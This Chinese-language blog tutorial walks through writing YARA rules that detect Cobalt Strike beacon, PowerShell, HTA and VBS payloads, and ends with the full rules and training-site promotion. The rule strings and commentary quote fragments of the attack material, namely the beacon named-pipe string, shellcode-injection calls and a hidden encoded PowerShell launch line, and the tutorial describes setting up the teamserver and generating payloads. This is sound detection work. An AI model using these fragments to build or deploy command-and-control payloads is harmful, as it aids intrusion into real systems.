只需要./teamserver 服務器ip地址 cs密碼即可成功啟動CobaltStrike的服務器。然后在客戶端使用./cobaltstrike 然后填寫服務器的ip地址和密碼即可(端口一般不變)成功登錄。
4.0的結構稍微有所不同
在4.0中不再有CobaltStrike客戶端文件,取而代之的是CobaltStrike.bat文件所以我們首先啟動CobaltStrike服務器,這里的ip地址就是本機的ip地址,后面的123456是登錄密碼
服務器成功啟動之后,我們啟動客戶端:
成功登錄上cs客戶端:
大概介紹一下CobaltStrike各個菜單的的功能:
CobaltStrike的監聽器主要分為beacon和foreign,其中bacon是CobaltStrike內置的,我們使用CobaltStrike生成的payload反彈shell回來直接就可以用foreign是外置的,比如想通過CobaltStrike反彈到msf,就可以使用foreign
我們可以通過上面介紹的圖標快捷菜單生成木馬,也可以通過Attacks菜單欄生成我們想要的木馬。
我這里分別生成了beacon、foreign、HTML、powershell、VBS、office宏等cs馬。接下里先分析分析這些木馬嘗試提取CobaltStrike特征,生成碼如下(3.14):
我們首先來看看32位的PE文件,包括exe和dll。為了防止樣本在Windows操作系統下被誤執行,我這里給所有的樣本都加上了.bin后綴,然后統計這些文件的時候可以發現,通常情況下CobaltStrike默認生成的beacon的PE馬大小都在278kb到303kb的樣子。紅框部分的foreign馬的大小卻只有十多kb。
所以我們可以嘗試編寫第一個filter來過濾掉其他的樣本。
為什么要編寫filter呢,因為比如我們掃描Windows的系統目錄或是一個程序目錄,該目錄下有上千,上萬甚至上十萬的文件,如果我們不寫filter,那么Yara在掃描的時候將會每個文件都完整的去匹配我們寫的規則,在上面的時候我們提到,yara規則是會全文掃描的,那么這樣將會大大降低掃描效率,如果我們能夠寫一些filter過濾掉大部分的不相關樣本,那么yara在掃描的時候將會只對疑似的文件進行有效的掃描而不會浪費資源。
Yara提供了文件大小的變量,標準寫法為
rule FileSizeExample{condition:filesize > 200KB}
第一個條件寫好之后,可以看到基本上就篩選了剛才我們看到的PE我文件,但是多了一個beacon3.ps1,沒關系,我們在后面的規則中過濾掉。
現在我們隨便加載兩個exe到IDA中分析。
IDA加載之后,一對比發現兩個碼的入口點是幾乎完全一樣的,唯一細微的區別就是這里mov語句的參數2不同。
空格轉換為匯編代碼顯示,可以看到樣本此時默認是main函數。這里目前至少是說明CobaltStrike的兩個beacon碼的main函數入口點結構相同。
Ctrl + E ,然后跳轉到start函數,看看兩個樣本的入口點是否相同:
來到start函數之后,我們可以發現兩個CobaltStrike樣本的入口點是完全一致的,程序入口點都是004014B0
減去基地址00400000,那么入口點應該就是偏移14B0的位置。
我們再加載一個beacon的樣本,看看入口點是否還是一致,這里發現三個樣本的入口點都是14b0的地方,所以我們推測CobaltStrike的樣本入口點都在14b0的地方,所以我們編寫第二個規則去驗證一下。
在yara3.0以下的版本中,可以直接使用entry_point變量獲取入口點,在3.0以上的版本中,該變量已經被棄用。取而代之的是一個pe模塊。現在可以使用pe.entry_point來獲取入口點,但是需要注意的是,這里是獲取到的文件偏移,也就是offset,并不是我們在IDA中看到的entry_point,這里需要注意一下。程序的Offset是0x8b0:
所以我們可以將條件寫成如下形式:
官方文檔給的寫法是用關鍵字at:
但是需要注意,使用at是取值,并不是匹配地址。也就是說上圖這種寫法是去找一下$a變量的值是否在entrypoint這個地址能找到。也就是在我們這條規則中,如果要用at,可以寫成如下:
這里的$name中的十六進制值需要大寫,匹配的值就是IDA入口點的十六進制數據:
但是我們同時也可以看到,at的寫法沒有那么有通用性,我們還是使用上面 == 的寫法。
那么現在第二條規則就已經寫好了,我們繼續來看其他的內容。我們靜態分別看下這個樣本的main函數:
在Main函數中可以看到,關鍵就調用了兩個call,分別是4027b0和401800
我們大概看一下就可以知道sub_401800才是關鍵函數,在sub_401800函數中,程序會通過CreateThread創建一個新線程,并且可以看到有一個奇怪的%c%c%c%c%c%c%c%c%cMSSE-%d-server看起來像是通信協議。
這里CreateThread的lpStartAddress是sub_4016D3,在sub_4016D3的sub_401608函數中可以看到正在通過CreateNamedPipeA的方式創建管道準備通信。
我們調試器里直接過來可以看到跟我們想的應該一樣,這里的確是跟通信相關的內容。
查看多個樣本,可以發現%c%c%c%c%c%c%c%c%cMSSE-%d-server 這個值是固定的。所以可以直接嘗試匹配這個串試試:
可以看到再次成功匹配。到這里,我們關于CobaltStrike的Beacon木馬的yara規則基本上就提取完成了。最后,我們給規則加上一個PE的判斷條件:
現在這個條件就比較完整了。
這里是看到這個串的確是CobaltStrike使用來通信的,且一批CobaltStrike的碼都包含了這個串,相對來說,應該不會命中到其他的正常文件,這個通信協議應該是cs專用的,所以可以直接這樣寫,如果不想誤報,想要提高檢測的精準性,可以繼續找其他的特征提取。反正在寫yara規則的時候,通用性和精準性,是分析人員需要權衡的條件,如果我們想要提高特征的通用性,勢必就需要減少一些匹配條件,精準性就會下降,至于到底是通用性優先還是精準性優先就得看具體的應用場景。
處理了CobaltStrike的PE馬,我們再來看看其他類型的木馬規則如何提取。首先是powershell木馬,也就是ps1的文件。我這里只生成了兩個。
分別查看一下文件內容。32位:
64位:
這里可以看到,32位和64位的powershell馬結構其實是一樣的,只是32位的馬使用了$DoIt= @’’的方式來定義兩個函數,其實和64位這里是一樣的。
這里很明顯,程序最后關鍵執行的數據在24行開始的地方,這里定義了超級大的base64串。經過觀察可以發現32為和64執行的串的頭部是不一樣的:32位:
64位:
經過分析我們可以發現,代碼的最下面,上面定義的這個$var_code的執行語句,且兩個版本的ps碼都是這樣寫的,于是我們直接嘗試用字符串匹配這一段試試。
就直接在原有yara的基礎上增加一個rule即可:
然后命令行測試,可以看到兩個ps1腳本都被成功匹配
CobaltStrike的html木馬分為了三種,分別是包含PE文件的hta 包含VBS的hta 包含powers的Hta,我們分別來看看。
首先是包含PE的hta:該類別的cs馬會直接將一個PE文件的十六進制數據流硬編碼到文件中:
在馬最下面,程序會定義一個var_tempexe文件用于接受上面的數據流,將該文件寫入到本地并且通過run執行之后刪除該文件。這里其實寫入的文件應該也是beacon的木馬,在14行代碼的位置,有著var_tempexe變量的賦值語句,經過與多個樣本的對比分析發現,后面的beacon_evil.exe不是固定的,而是攻擊者在使用CobaltStrike生成木馬的時候給定的文件名。所以我們可以考慮用正則來匹配這一段,作為條件之一。
編寫yara特征之后進行掃描,成功捕獲對應的樣本
完整的正則表達式如下:/var_tempexe = var_basedir & \”\” & \”[A-z]{1,20}.exe\”\s*Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)/
我們來一點點拆解。首先,我們在yara中使用正則表達式要使用//標識,我們將正則寫到兩個斜杠之間。var_tempexe = var_basedir & 這段是我們直接從原始代碼中復制出來的。\”\” 用于轉義匹配中間的 “\”由于我們剛剛已經分析過,后面的beacon_evil.exe不是固定的,是由攻擊者指定,所以我這里寫了一個范圍,1-20,然后通過\s*將后面的語句給組合起來進行匹配。
接下來我們看看html的VBS碼,結構如下:
經過分析,我們可以看出來,下面的一大段代碼,其實是帶輕微混淆的VBA代碼。混淆方法很簡單,就是通過&符號拼接由chr函數轉換的ascii“&Chr(61)
我們盡量找一個比較通用的地方來提取特征,稍微分析一下,可以發現,上面部分都是一些函數的導入,變量的定義,沒有做神什么比較奇怪的操作,在57行的位置,定義了一個很大的數組,數組名為myAr&ray 后面的Chr(61)轉換之后是等于符號 = 。 后面的一大段數據都是用于給myArray賦值的。所以我們可以考慮將特征提取到這里。
這里應該可以直接寫字符串進行匹配了:
最后,html類別的馬就只剩下powershell類型的了,還是先來看看代碼結構
cs的powershell馬結構相對來說就很簡單了,就是通過powershell執行了超級長一段base64編碼的腳本命令。直接取這個base64串的頭部出來解碼看看是是不是常見的語句JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8Acg
解碼之后發現是$s=New-Object IO.Memor結合代碼分析,這里是將后面的數據加載到內存中執行,這里是在做準備工作。
結合前面的powershell -nop -w hidden -encodedcommand本身也不是常見的powershell語句,正經人誰會這樣干,所以我們直接嘗試提這里的字符串看能否通殺。貌似可以
現在還有一類Macro樣本,也就是Office宏代碼。這個其實也是簡單,但是這里我生成的時候偷了一個懶,沒有按照cs的文檔將宏代碼存儲到Office文檔中。關于Office文檔的查殺,在后面再結合oledump等工具繼續介紹。
我們回到上級目錄,看看同時查殺3.14和4.0的效果怎樣我們將結果寫入到1.txt中
一共是查殺了24個樣本
可以看到,一共27個文件,除了vba和這里的兩個raw沒寫規則外,全部查殺了。所以,對CobaltStrike木馬基本查殺的yara規則就這樣寫好了。后面我們學習了yara的高級寫法或是遇到其他cs的樣本可以再繼續完善,但是目前這個yara應該可以識別絕大多數的正常cs碼了。
最后,CobaltStrike解壓之后,目錄中會有一個CobaltStrike.jar文件
使用解壓縮工具將這個文件也解壓:
這里面有一個名為resources的文件夾,就是CobaltStrike的配置信息,我們在CobaltStrike控制臺生成的木馬都來源于這個文件夾。
所以我們也可以直接分析這里面的樣本,提取規則進行查殺。
import "pe"
rule beacon32
{
meta:
description = "This rule is used for discovery CobaltStrike’s beacon32PE Trojan"
author = "int3"
date = "2020-07-21"
reference = "reference"
hash = "hash"
strings:
$name = "%c%c%c%c%c%c%c%c%cMSSE-%d-server"
condition:
uint16(0) == 0x5A4D and pe.entry_point == 0x8b0 and filesize > 277KB and filesize < 304KB and $name
}
rule ps
{
meta:
description = "This rule is used for discovery CobaltStrike’s powershell Trojan"
author = "int3"
date = "2020-07-21"
reference = "reference"
hash = "hash"
strings:
$str1 = "$var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)"
$str2 = "[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)"
condition:
uint16(0) != 0x5A4D and $str1 and $str2
}
rule CobaltStrike_hta_pe
{
meta:
description = "This rule is used for discovery CobaltStrike’s hta'pe Trojan"
author = "int3"
date = "2020-07-21"
reference = "reference"
hash = "hash"
strings:
$reg1 = /var_tempexe = var_basedir & \"\\\" & \"[A-z]{1,20}.exe\"\s*Set var_stream = var_obj.CreateTextFile\(var_tempexe, true , false\)/
condition:
uint16(0) != 0x5A4D and $reg1
}
rule hta_VBS
{
meta:
description = "This rule is used for discovery CobaltStrike’s hta'vbs Trojan"
author = "int"
date = "2020-07-21"
reference = "reference"
hash = "hash"
strings:
$str = "myAr\"&\"ray \"&Chr(61)&\" Array\"&Chr(40)&Chr(45)&\"4\"&Chr(44)&Chr(45)&\"24\"&Chr(44)&Chr(45)&\"119\"&Chr(44)"
condition:
uint16(0) != 0x5A4D and $str
}
rule hta_ps1
{
meta:
description = "This rule is used for discovery CobaltStrike’s hta'vbs Trojan"
author = "int"
date = "2020-07-21"
reference = "reference"
hash = "hash"
strings:
$str = "var_shell.run \"powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8A"
condition:
uint16(0) != 0x5A4D and $str
}
本篇是YARA規則的入門篇,通過本節的內容我們可以發現,Yara在惡意樣本檢測中有著至關重要的作用(雖然本節中寫的YARA很簡單,但是Yara可以做的遠遠不止于此)。此外,我們還可以通過別人寫好的yara,輔助我們分析惡意軟件,閱讀大佬寫的Yara我們可以知道大佬在分析對應的樣本的時候,關注點在哪里,他提取到了目標木馬/家族的哪些特征等等。
我是安仔,一名剛入職網絡安全圈的網安萌新,歡迎關注我,跟我一起成長; 歡迎大家私信回復【入群】,加入安界網大咖交流群,跟我一起交流討論。
安界網周年慶,cisp考證報名送價值6000元電腦;nisp一級報名送100元現金劵;nisp二級報名送1000元現金劵。更多優惠聯系我們。
小白入行網絡安全、混跡安全行業找大咖,以及更多成長干貨資料,歡迎關注#安界網人才培養計劃#、#網絡安全在我身邊#、@安界人才培養計劃。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。